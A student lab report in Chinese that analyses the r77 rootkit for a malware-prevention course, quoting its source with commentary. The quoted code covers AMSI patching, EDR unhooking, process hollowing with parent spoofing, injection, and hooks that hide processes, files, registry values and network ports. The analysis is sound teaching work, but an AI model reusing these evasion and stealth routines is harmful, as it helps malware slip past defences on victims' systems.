南開大學

恶意代码防治课程实验报告

实验八：R77 技术分析

学　　院　网络空间安全

专　　业　信息安全

学　　号　2212790

姓　　名　贾程皓

班　　级　0975

一、实验目的

在使用 R77 的基础上，撰写技术分析，描述使用过程中看到的行为如何技术实现。

二、实验过程

2.1 系统环境

本实验使用 Windwos11 专业版下的 Sandbox。

2.2 r77 Header

加载到内存中的进程在 r77 Console.exe 中是怎样判断是否被感染的？

在 r77 的文档中解释到，恶意代码采用了“r77 header”，即将 **Dos 中从 0x00000040 开始的两个字节进行修改**。其中被感染的进程在运行时，会修改它的“R77_SIGNATURE = 0x7277”；r77 服务进程（例如 install.exe）在编译时，即修改 Dos 头部为“R77_SERVICE_SIGNATURE = 0x7273”；r77 Console 等辅助进程在编译时，也会修改 Dos 首部为“R77_HELPER_SIGNATURE = 0x7268”。

2.3 Install

```
LPBYTE stager;
DWORD stagerSize;
if (!GetResource(IDR_STAGER, "EXE", &stager, &stagerSize)) return 0;

// Write stager executable to registry.
// This C# executable is compiled with AnyCPU and can be run by both 32-bit and 64-bit powershell.
// The target framework is 3.5, but it will run, even if .NET 4.x is installed and .NET 3.5 isn't.

HKEY key;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE", 0, KEY_ALL_ACCESS | KEY_WOW64_64KEY, &key) != ERROR_SUCCESS ||
        RegSetValueExW(key, HIDE_PREFIX L"stager", 0, REG_BINARY, stager, stagerSize) != ERROR_SUCCESS) return 0;

// This powershell command loads the stager from the registry and executes it in memory using Assembly.Load().EntryPoint.Invoke()
// The C# binary will proceed with creating a native process using process hollowing.
// The powershell command is purely inline and doesn't require a ps1 file.

LPWSTR powershellCommand = GetPowershellCommand();

// Create scheduled task to run the powershell stager.
DeleteScheduledTask(R77_SERVICE_NAME32);
DeleteScheduledTask(R77_SERVICE_NAME64);

LPCWSTR scheduledTaskName = Is64BitOperatingSystem() ? R77_SERVICE_NAME64 : R77_SERVICE_NAME32;
if (CreateScheduledTask(scheduledTaskName, L"", L"powershell", powershellCommand))
{
        RunScheduledTask(scheduledTaskName);
}
```

其中，GetResource()函数将资源文件中的 IDR_STAGER（即 stager.exe）写入指针 stager 里。RegOpenKey()和 RegSetValue()函数共同将注册表下 Local_Machine/Software/r77stager 里写入 stager.exe 的二进制数据。**GetPowershellCommand()函数得到接下来运行的 shell 指令，需要重点介绍。**

```
// Overwrite AmsiScanBuffer function with shellcode to return AMSI_RESULT_CLEAN.
if (Is64BitOperatingSystem())
{
	// b8 57 00 07 80		mov		eax, 0x80070057
	// c3				ret
	StrCatW(command, L"[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6
}
else
{
	// b8 57 00 07 80		mov		eax, 0x80070057
	// c2 18 00			ret		0x18
	StrCatW(command, L"[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$AmsiScanBuff
}

// VirtualProtect PAGE_EXECUTE_READ
StrCatW(command, L"[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDeleg
```

首先会通过创建委托，**通过汇编级的覆写 AmsiScanBuffer 来绕过 Windows 操作系统的 AMSI 反恶意软件扫描接口。**

```
// Load Stager.exe from registry and invoke
StrCatW
(
	command,
	L"[Reflection.Assembly]::Load"
	L"("
	L"[Microsoft.Win32.Registry]::LocalMachine"
	L".OpenSubkey(`SOFTWARE`)"
	L".GetValue(`" HIDE_PREFIX L"stager`)"
	L")"
	L".EntryPoint"
	L".Invoke($Null,$Null)"
);

StrCatW(command, L"\"");
```

之后会通过 StrCatW 函数，将 stager 相关命令行指令进行拼接，从注册表中取出并执行。这里拼接好的指令是

```
[Reflection.Assembly]::load \\
([Microsoft.Win32.Registry]::LocalMachine.OpenSubKey(software).getValue(r77stager)) \\
.EntryPoint .invoke(null,null)
```

加载后的程序集通过 .EntryPoint 获取其入口方法。

.Invoke($Null, $Null) 调用入口方法。

```
// Replace string literals that are marked with `thestring`.
ObfuscatePowershellStringLiterals(command);

// Obfuscate all variable names with random strings.
ObfuscatePowershellVariable(command, L"Get-Delegate");
ObfuscatePowershellVariable(command, L"ParameterTypes");
ObfuscatePowershellVariable(command, L"ReturnType");
ObfuscatePowershellVariable(command, L"TypeBuilder");
ObfuscatePowershellVariable(command, L"NativeMethods");
ObfuscatePowershellVariable(command, L"GetProcAddress");
ObfuscatePowershellVariable(command, L"LoadLibraryDelegate");
ObfuscatePowershellVariable(command, L"VirtualProtectDelegate");
ObfuscatePowershellVariable(command, L"Kernel32Ptr");
ObfuscatePowershellVariable(command, L"LoadLibraryPtr");
ObfuscatePowershellVariable(command, L"VirtualProtectPtr");
ObfuscatePowershellVariable(command, L"AmsiPtr");
ObfuscatePowershellVariable(command, L"AmsiScanBufferPtr");
ObfuscatePowershellVariable(command, L"OldProtect");
```

最后将之前命令行中使用过的**字符串进行混淆**。因此，汇编级的简单字符串分析不能追踪到原始 shell 命令。

2.4 Stager

```
// Unhook DLL's that are monitored by EDR.
// Otherwise, the call sequence analysis of process hollowing gets detected and the stager is terminated.
Unhook.UnhookDll("ntdll.dll");
if (Environment.OSVersion.Version.Major >= 10 || IntPtr.Size == 8) // Unhooking kernel32.dll does not work on Windows 7 x86.
{
        Unhook.UnhookDll("kernel32.dll");
}

Process.EnterDebugMode();
```

其中，**UnhookDll 是用于解除目标 dll 的钩子的函数，主要通过找到目标 dll 的.text(代码部分)进行复原，**从而解除原来由于杀毒软件等给 dll 中附上的钩子。

那么纯净的、没有被挂过钩子的 dll 文件怎么获取呢？

```
// Retrieve a clean copy of the DLL file.
IntPtr dllFile = CreateFileA(@"C:\Windows\System32\" + name, 0x80000000, 1, IntPtr.Zero, 3, 0, IntPtr.Zero);
```

这里打开了 c:\windows\system32 下的 dll 文件，应该是默认这里的 dll 文件不会被杀毒软件等进行更改。

```
for (short i = 0; i < numberOfSections; i++)
{
        IntPtr sectionHeader = (IntPtr)((long)dll + ntHeaders + 0x18 + sizeOfOptionalHeader + i * 0x28);

        // Find the .text section of the hooked DLL and overwrite it with the original DLL section
        if (Marshal.ReadByte(sectionHeader) == '.' &&
                Marshal.ReadByte((IntPtr)((long)sectionHeader + 1)) == 't' &&
                Marshal.ReadByte((IntPtr)((long)sectionHeader + 2)) == 'e' &&
                Marshal.ReadByte((IntPtr)((long)sectionHeader + 3)) == 'x' &&
                Marshal.ReadByte((IntPtr)((long)sectionHeader + 4)) == 't')
        {
                int virtualAddress = Marshal.ReadInt32((IntPtr)((long)sectionHeader + 0xc));
                uint virtualSize = (uint)Marshal.ReadInt32((IntPtr)((long)sectionHeader + 0x8));

                VirtualProtect((IntPtr)((long)dll + virtualAddress), (IntPtr)virtualSize, 0x40, out uint o
                memcpy((IntPtr)((long)dll + virtualAddress), (IntPtr)((long)dllMappedFile + virtualAddress
                VirtualProtect((IntPtr)((long)dll + virtualAddress), (IntPtr)virtualSize, oldProtect, out
                break;
        }
}
```

之后，修改当前进程的虚拟地址中的数据。其中，VirtualProtect 函数用于更改当前进程地址空间中某个区域的内存保护属性，这里是将(long)dll + virtualAddress 处的保护属性进行了修改，并在下面进行复制；修改完毕后再将保护属性恢复。

```
// Write r77-x86.dll and r77-x64.dll to the registry.
// Install.exe could also do this, but .NET has better compression routines.
using (RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE", true))
{
        key.SetValue(R77Const.HidePrefix + "dll32", Decompress(Decrypt(Resources.Dll32)));
        key.SetValue(R77Const.HidePrefix + "dll64", Decompress(Decrypt(Resources.Dll64)));
}
```

```
// Get r77 service executable.
byte[] payload = Decompress(Decrypt(IntPtr.Size == 4 ? Resources.Service32 : Resources.Service64))

// Executable to be used for process hollowing.
string path = @"C:\Windows\System32\dllhost.exe";
string commandLine = "/Processid:" + Guid.NewGuid().ToString("B"); // Random commandline to mimic

// Parent process spoofing can only be used on certain processes, particularly the PROCESS_CREATE_
int parentProcessId = Process.GetProcessesByName("winlogon")[0].Id;
```

随后，将 r77-x86.dll 和 r77-x64.dll 写入到\HKEY_LOCAL_MACHINE\SOFTWARE\下的注册表中。

之后，通过内存指针找到 service.exe，再启动一个 dllhost.exe 程序作为 winlogon 的子进程，最后，通过进程镂空技术，使用 service.exe 替换 winlogon，从而实现 service.exe 进程的创建。

2.5 Service

```
D1132 = NEW_ARRAY(BYTE, D1132Size);
D1164 = NEW_ARRAY(BYTE, D1164Size);

if (RegQueryValueExW(key, HIDE_PREFIX L"d1132", NULL, NULL, D1132, &D1132Size) != ERROR_SUCCESS ||
        RegQueryValueExW(key, HIDE_PREFIX L"d1164", NULL, NULL, D1164, &D1164Size) != ERROR_SUCCESS) return 0;

RegCloseKey(key);

// Terminate the already running r77 service process.
TerminateR77Service(GetCurrentProcessId());
```

先**读取 Stager 运行时写入到注册表的\HKEY_LOCAL_MACHINE\SOFTWARE\$77dll 的值**，也就是 r77 x64/r77x86.dll 文件的内容。

```
// When the NtResumeThread hook is called, the r77 service is notified through a named pipe connection.
// This will trigger the following callback and the child process is injected.
// After it's injected, NtResumeThread is executed in the parent process.
// This way, r77 is injected before the first instruction is run in the child process.
ChildProcessListener(ChildProcessCallback);
```

```
VOID ChildProcessListener(PROCESSIDCALLBACK callback)
{
        CreateThread(NULL, 0, ChildProcessListenerThread, callback, 0, NULL);
}
static DWORD WINAPI ChildProcessListenerThread(LPVOID parameter)
{
        while (TRUE)
        {
                HANDLE pipe = CreatePublicNamedPipe(CHILD_PROCESS_PIPE_NAME);
                while (pipe != INVALID_HANDLE_VALUE)
                {
                        if (ConnectNamedPipe(pipe, NULL))
                        {
                                DWORD processId;
                                DWORD bytesRead;
                                if (ReadFile(pipe, &processId, 4, &bytesRead, NULL))
                                {
                                        // Invoke the callback. The callback should inject r77
                                        ((PROCESSIDCALLBACK)parameter)(processId);

                                        // Notify the callee that the callback completed (r77 i
                                        BYTE returnValue = 77;
                                        DWORD bytesWritten;
                                        WriteFile(pipe, &returnValue, sizeof(BYTE), &bytesWritt
```

再实现一个类似全局注入的逻辑——创建一个监控进程，并提供一个回调函数。这个监控进程是尝试连接指定名称的管道 pipe，当连接成功的时候读取获取到的内容（这个内容其实就是一个 pid），然后调用提供的回调函数操作这个 pid；这个回调函数是一个远程进程注入函数，通过指定的目的 pid，向对应的进程注入第二步获取的 r77x64/32.dll。

在 R77 的说明文档中，介绍了注入 dll 后的操作。

一是挂钩 NtResumeThread()函数。这个函数的前缀来自我们课上学过动态链接库的 Ntdll.dll，它在进程由挂起态转为运行态时被调用。由于 Windows 系统在创建完大部分新进程后，都会首先将它置为挂起态，因此，可以保证大多数进程可以被感染。

二是每隔 100ms 的时间间隔检查所有新创建的进程，并将没感染的进程重新感染，这样可以感染 services.exe 等进程创建的进程。

2.6 r77

这里就是上面在 Stager 写入注册表，servcie 从注册表中读出的 r77x32/x64.dll 的实现。

```
VOID InitializeHooks()
{
        DetourTransactionBegin();
        DetourUpdateThread(GetCurrentThread());
        InstallHook("ntdll.dll", "NtQuerySystemInformation", (LPVOID*)&OriginalNtQuerySystemInformation, Hook
        InstallHook("ntdll.dll", "NtResumeThread", (LPVOID*)&OriginalNtResumeThread, HookedNtResumeThread);
        InstallHook("ntdll.dll", "NtQueryDirectoryFile", (LPVOID*)&OriginalNtQueryDirectoryFile, HookedNtQuer
        InstallHook("ntdll.dll", "NtQueryDirectoryFileEx", (LPVOID*)&OriginalNtQueryDirectoryFileEx, HookedNt
        InstallHook("ntdll.dll", "NtEnumerateKey", (LPVOID*)&OriginalNtEnumerateKey, HookedNtEnumerateKey);
        InstallHook("ntdll.dll", "NtEnumerateValueKey", (LPVOID*)&OriginalNtEnumerateValueKey, HookedNtEnumer
        InstallHook("advapi32.dll", "EnumServiceGroupW", (LPVOID*)&OriginalEnumServiceGroupW, HookedEnumServi
        InstallHook("advapi32.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW, HookedE
        InstallHook("sechost.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW2, HookedE
        InstallHook("ntdll.dll", "NtDeviceIoControlFile", (LPVOID*)&OriginalNtDeviceIoControlFile, HookedNtDe
        InstallHook("pdh.dll", "PdhGetRawCounterArrayW", (LPVOID*)&OriginalPdhGetRawCounterArrayW, HookedPdhG
        InstallHook("pdh.dll", "PdhGetFormattedCounterArrayW", (LPVOID*)&OriginalPdhGetFormattedCounterArrayW
        InstallHook("amsi.dll", "AmsiScanBuffer", (LPVOID*)&OriginalAmsiScanBuffer, HookedAmsiScanBuffer);
        DetourTransactionCommit();

        // Usually, ntdll.dll should be the only DLL to hook.
        // Unfortunately, the actual enumeration of services happens in services.exe - a protected process th
        // EnumServiceGroupW and EnumServicesStatusExW from advapi32.dll access services.exe through RPC.
        // There is no longer one single syscall wrapper function to hook, but multiple higher level functior
        // EnumServicesStatusA and EnumServicesStatusExA also implement the RPC, but do not seem to be used b
}
```

```
static VOID InstallHook(LPCSTR dll, LPCSTR function, LPVOID *originalFunction, LPVOID hookedFunction)
{
        *originalFunction = GetFunction(dll, function);
        if (*originalFunction) DetourAttach(originalFunction, hookedFunction);
}
```

这里通过微软研究部门开发的**开源 Detours 库来进行函数的重定向。被重定向的函数如下。**

2.6.1 NtQuerySystemInformation

该函数用于计算正在运行的进程占用的 CPU 总量，检索 CPU 使用情况。

2.6.2 NtResumeThread

该函数用于注入创建的子进程，当新进程仍处于挂起状态时调用。注入完成后，才会实际调用此函数。（文档中提到，Hook CreateProcess 不是一个好选择，因为它会在一次调用中创建并启动进程，并且可能和多个其他高级 API 有关）。

2.6.3 NtQueryDirectoryFile

该函数用于其他软件枚举查看文件、目录、连接点和命名管道时对特定文件进行隐藏。

2.6.4 NtEnumerateKey、NtEnumerateValueKey、NtEnumerateServiceGroup

该函数用于枚举注册表键（值、服务）。调用者指定一个键的索引以检索该键。为了隐藏注册表键，必须调整索引。因此，需要重新枚举键，以便找到正确的“新”索引。

2.6.5 NtDeviceIoControlFile

该函数用于通过 IOCTL（与内核中的设备驱动程序交互的接口）访问驱动程序，请求调用方获取所有 TCP 和 UDP 连接的列表。

当 r77 运行后，首先感染已经启动的所有进程。接下来创建的进程就通过上面挂钩的函数进行持续感染。

```
static NTSTATUS NTAPI HookedNtResumeThread(HANDLE thread, PULONG suspendCount)
{
	// Child process hooking:
	// When a process is created, its parent process calls NtResumeThread to start the new process after process cre
	// At this point, the process is suspended and should be injected. After injection is completed, NtResumeThread
	// To inject the process, a connection to the r77 service is performed through a named pipe.
	// Because a 32-bit process can create a 64-bit child process, injection cannot be performed here.

	DWORD processId = GetProcessIdOfThread(thread);
	if (processId != GetCurrentProcessId()) // If NtResumeThread is called on this process, it is not a child proces
	{
		// Call the r77 service and pass the process ID.
		HANDLE pipe = CreateFileW(CHILD_PROCESS_PIPE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING,
		if (pipe != INVALID_HANDLE_VALUE)
		{
			// Send the process ID to the r77 service.
			DWORD bytesWritten;
			WriteFile(pipe, &processId, sizeof(DWORD), &bytesWritten, NULL);

			// Wait for the response. NtResumeThread should be called after r77 is injected.
			BYTE returnValue;
			DWORD bytesRead;
			ReadFile(pipe, &returnValue, sizeof(BYTE), &bytesRead, NULL);

			CloseHandle(pipe);
		}
	}

	// This function returns, *after* injection is completed.
	return OriginalNtResumeThread(thread, suspendCount);
}
```

进入挂钩后的 NtResumeThread()看看，确实调用了 WriteFile()函数，但是可惜没看见说明文档中提到的具体对 Dos 头修改的值。

2.6 对文件、注册表、TCP 端口的隐藏

```
if (NT_SUCCESS(status))
{
        // Hide processes
        if (systemInformationClass == SystemProcessInformation)
        {
                // Accumulate CPU usage of hidden processes.
                LARGE_INTEGER hiddenKernelTime = { 0 };
                LARGE_INTEGER hiddenUserTime = { 0 };
                LONGLONG hiddenCycleTime = 0;

                for (PNT_SYSTEM_PROCESS_INFORMATION current = (PNT_SYSTEM_PROCESS_INFORMATION)systemInformation,
                {
                        if (HasPrefixU(current->ImageName) || IsProcessIdHidden((DWORD)(DWORD_PTR)current->Proce
                        {
                                hiddenKernelTime.QuadPart += current->KernelTime.QuadPart;
                                hiddenUserTime.QuadPart += current->UserTime.QuadPart;
                                hiddenCycleTime += current->CycleTime;

                                if (previous)
                                {
                                        if (current->NextEntryOffset) previous->NextEntryOffset += current->Next
                                        else previous->NextEntryOffset = 0;
                                }
                                else
                                {
                                        if (current->NextEntryOffset) systemInformation = (LPBYTE)systemInformat
                                        else systemInformation = NULL;
                                }
                        }
                        else
                        {
                                previous = current;
                        }
```

先介绍一下这里的数据结构。PNT_SYSTEM_PROCESS_INFORMATION 是用于描述系统中的进程和线程信息的数据结构，里面包含 LARGE_INTEGER 类型的 KernelTime 和 UserTime。而 LARGE_INTEGER 又包含 QuadPart 成员，用于记录 64 位大整数的数值。

```
// Hide CPU usage
else if (systemInformationClass == SystemProcessorPerformanceInformation)
{
        // ProcessHacker graph per CPU
        LARGE_INTEGER hiddenKernelTime = { 0 };
        LARGE_INTEGER hiddenUserTime = { 0 };
        if (GetProcessHiddenTimes(&hiddenKernelTime, &hiddenUserTime, NULL))
        {
                PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION performanceInformation = (PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION)s
                ULONG numberOfProcessors = newReturnLength / sizeof(NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION);

                for (ULONG i = 0; i < numberOfProcessors; i++)
                {
                        //TODO: This works, but it needs to be on a per-cpu basis instead of x / numberOfProcessors
                        performanceInformation[i].KernelTime.QuadPart += hiddenUserTime.QuadPart / numberOfProcessors;
                        performanceInformation[i].UserTime.QuadPart -= hiddenUserTime.QuadPart / numberOfProcessors;
                        performanceInformation[i].IdleTime.QuadPart += (hiddenKernelTime.QuadPart + hiddenUserTime.QuadPart) / number
                }
        }
}
```

这里计算 CPU 时间的逻辑很简单。分别计算固定时间内 Kernel 和 User 态下 CPU 运行时间即可，用运行时间占总测试时间的比例作为 CPU 占用率。

```
do
{
        nextEntryOffset = FileInformationGetNextEntryOffset(current, fileInformationClass);

        if (HasPrefix(FileInformationGetName(current, fileInformationClass, fileFileName)) || IsPathHidden(CreatePath(fil
        {
                if (nextEntryOffset)
                {
                        i_memcpy
                        (
                                current,
                                (LPBYTE)current + nextEntryOffset,
                                (ULONG)(length - ((ULONGLONG)current - (ULONGLONG)fileInformation) - nextEntryOffset)
                        );
                        continue;
                }
                else
                {
                        if (current == fileInformation) status = STATUS_NO_MORE_FILES;
                        else FileInformationSetNextEntryOffset(previous, fileInformationClass, 0);
                        break;
                }
        }

        previous = current;
        current = (LPBYTE)current + nextEntryOffset;
}
while (nextEntryOffset);
```

这里对文件的显示也很简单，在显示 File 前先判断文件名是否有前缀、文件路径是否满足、是否由已经隐藏的进程创建的。如果是，隐藏该文件。

```
static NTSTATUS NTAPI HookedNtEnumerateValueKey(HANDLE key, ULONG index, NT_KEY_VALUE_INFORMATION_CLASS keyValueInformationClass, LP\
{
	NTSTATUS status = OriginalNtEnumerateValueKey(key, index, keyValueInformationClass, keyValueInformation, keyValueInformationl

	// Implement hiding of registry values by correcting the index in NtEnumerateValueKey.
	if (status == ERROR_SUCCESS && (keyValueInformationClass == KeyValueBasicInformation || keyValueInformationClass == KeyValuel
	{
		for (ULONG i = 0, newIndex = 0; newIndex <= index && status == ERROR_SUCCESS; i++)
		{
			status = OriginalNtEnumerateValueKey(key, i, keyValueInformationClass, keyValueInformation, keyValueInformat

			if (!HasPrefix(KeyValueInformationGetName(keyValueInformation, keyValueInformationClass)))
			{
				newIndex++;
			}
		}
	}

	return status;
}
```

对注册表键值对的显示时，分析键的路径决定是否隐藏。

```
BOOL hidden = FALSE;
if (nsiParam->Type == NsiTcp)
{
	if (processEntry) GetProcessFileName(processEntry->TcpProcessId, FALSE, processName, MAX_PATH);

	hidden =
		IsTcpLocalPortHidden(_byteswap_ushort(tcpEntry->Local.Port)) ||
		IsTcpRemotePortHidden(_byteswap_ushort(tcpEntry->Remote.Port)) ||
		processEntry && IsProcessIdHidden(processEntry->TcpProcessId) ||
		lstrlenW(processName) > 0 && IsProcessNameHidden(processName) ||
		HasPrefix(processName);
}
else if (nsiParam->Type == NsiUdp)
{
	if (processEntry) GetProcessFileName(processEntry->UdpProcessId, FALSE, processName, MAX_PATH);

	hidden =
		IsUdpPortHidden(_byteswap_ushort(udpEntry->Port)) ||
		processEntry && IsProcessIdHidden(processEntry->UdpProcessId) ||
		lstrlenW(processName) > 0 && IsProcessNameHidden(processName) ||
		HasPrefix(processName);
}


// If hidden, move all following entries up by one and decrease count.
if (hidden)
{
	if (i < nsiParam->Count - 1) // Do not move following entries, if this is the last entry
	{
		if (nsiParam->Type == NsiTcp)
		{
			memmove(tcpEntry, (LPBYTE)tcpEntry + nsiParam->EntrySize, (nsiParam->Count - i - 1) * nsiParam->EntrySize
		}
		else if (nsiParam->Type == NsiUdp)
		{
			memmove(udpEntry, (LPBYTE)udpEntry + nsiParam->EntrySize, (nsiParam->Count - i - 1) * nsiParam->EntrySize
		}

		if (statusEntry)
		{
			memmove(statusEntry, (LPBYTE)statusEntry + nsiParam->StatusEntrySize, (nsiParam->Count - i - 1) * nsiParai
		}
		if (processEntry)
		{
			memmove(processEntry, (LPBYTE)processEntry + nsiParam->ProcessEntrySize, (nsiParam->Count - i - 1) * nsiP
		}
	}

	nsiParam->Count--;
	i--;
}
```

对 TCP 和 UDP 判断时，依次分析端口、创建它的进程是否在隐藏范围内，如果在，将检索到的 TCP、UDP 隐藏。

三、实验结论及心得体会

其实这是上一次 R77 作业的延续。上一次作业中我已经在源代码程度上对 R77 的实现做了一定程度的分析。完成这次作业时，我又重新阅读了 R77 的技术文档，把之前分析时没提到的部分又增加进来了。同时，对源代码，尤其是开始的 Install 和最后的 Detours 过程进行了更加深入的逻辑与函数调用层面上的分析。

在完善作业的过程中发现了许多之前忽略了的东西，例如 Detours 机制挂钩的函数都在挂钩后各自做了些什么，进程的隐藏是通过什么方式实现的等。再看一遍侧重点更加深入、分析过程更加流畅，新的收获很大。